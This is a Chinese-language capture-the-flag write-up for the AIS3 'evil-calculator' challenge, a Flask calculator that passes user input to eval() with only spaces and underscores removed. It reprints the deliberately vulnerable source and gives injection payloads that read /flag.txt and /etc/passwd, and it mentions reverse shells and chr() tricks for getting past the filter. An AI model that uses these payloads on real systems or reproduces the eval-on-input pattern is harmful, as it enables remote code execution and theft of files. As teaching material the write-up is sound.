# evil-calculator write up
> Ans: ==AIS3{fake_flag}==
進來網站後,會看到一個像計算機的東西。

這裡先隨意輸入 1+1,看他會做什麼事。


可以發現在我們做計算時,會送出一個 POST 請求,並且檔案是以 JSON 格式傳送,這裡我們攔截請求,先去看看他後端怎麼運作。

:::spoiler **index.html** 完整原始碼
```js
<script>
let expressionScreen = document.getElementById('expression');
function appendToExpression(char) {
expressionScreen.value = expressionScreen.value === '0' ? char : expressionScreen.value + char;
}
function clearExpression() {
expressionScreen.value = '0';
}
function calculate() {
const expression = expressionScreen.value;
fetch('/calculate', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({expression: expression}),
})
.then(response => response.json())
.then(data => {
expressionScreen.value = data.result;
})
.catch((error) => {
console.error('Error:', error);
expressionScreen.value = 'Error';
});
}
</script>
```
:::
在前端的程式碼中,前半段是一般計算機計算跟字元顯示的設定,但後半段傳送 POST 請求中,有一個問題。
```js
const expression = expressionScreen.value;
fetch('/calculate', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({expression: expression}),
})
```
這裡會把我們的輸入轉成 json 傳到後端做處理,但他這裡並沒有做任何的資料檢查或過濾,意味著我們輸什麼,他就送甚麼進去。
:::spoiler <span style="font-weight:bold">app.py</span> 完整程式碼
```py
from flask import Flask, request, jsonify, render_template
app = Flask(__name__)
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run("0.0.0.0",5001)
```
:::
這裡有一段程式碼是針對我們的輸入做處理,但沒有很嚴謹。
```py
@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
```
### 1. 先接收使用者的輸入
而使用者可以控制 `data['expression']`,這是**用戶完全可控的輸入**。
```py
data = request.json
expression = data['expression']
```
### 2. 接著對輸入做過濾
這只把空格和 `_` 拿掉,但沒處理其他危險字符,例如:
- `.`(用來存取屬性)。
- `__class__`、`__subclasses__()`(物件鍊)。
- `[]`、`{}`、`()`、`'`、`"` 都還可以用。
只要 payload 沒依賴 `_`,都能執行成功。
```py
expression = data['expression'].replace(" ","").replace("_","")
```
### 3. 再來是最重要的部分:`eval()`
這會把輸入的字串當成原生 Python 程式碼直接執行,例如:
```py
{"expression":"open('/flag.txt').read()"}
```
執行起來就是:
```py
eval("open('/flag.txt').read()")
```
- 讀檔。
- 反彈 shell、刪除檔案。
- 這是標準的 Remote Code Execution (RCE)。
```py
result = eval(expression)
```
### 4. 然後是例外處理
這裡只會把錯誤訊息包成字串,回傳給前端,不是保護,只是「讓伺服器不要炸掉」。
```py
except Exception as e:
result = str(e)
```
### 5. 最後回傳結果
```py
return jsonify(result=str(result))
```
他把 `eval()` 的結果送回給前端,這也代表可以用他來回傳敏感資料,例如:
```js
{"expression":"open('/etc/passwd').read()"}
```
### 攻擊
程式中的 `/calculate` 路由接收 JSON 格式的 POST 請求,然後從中提取 `expression` 參數。該值僅進行了 `.replace(" ","").replace("_","")` 的處理,接著就直接被傳入 `eval()`。由於 `eval()` 能執行任意 Python 程式碼,因此我可以構造惡意輸入,例如:
```js
{"expression":"open('/flag.txt').read()"}
```

雖然是拿到 fake_flag,後來有嘗試 ls,這裡因為他鎖 `_`,我沒辦法用 import,所以直接用 chr 一個一個拼出來,但並沒有給其他有用的檔。

---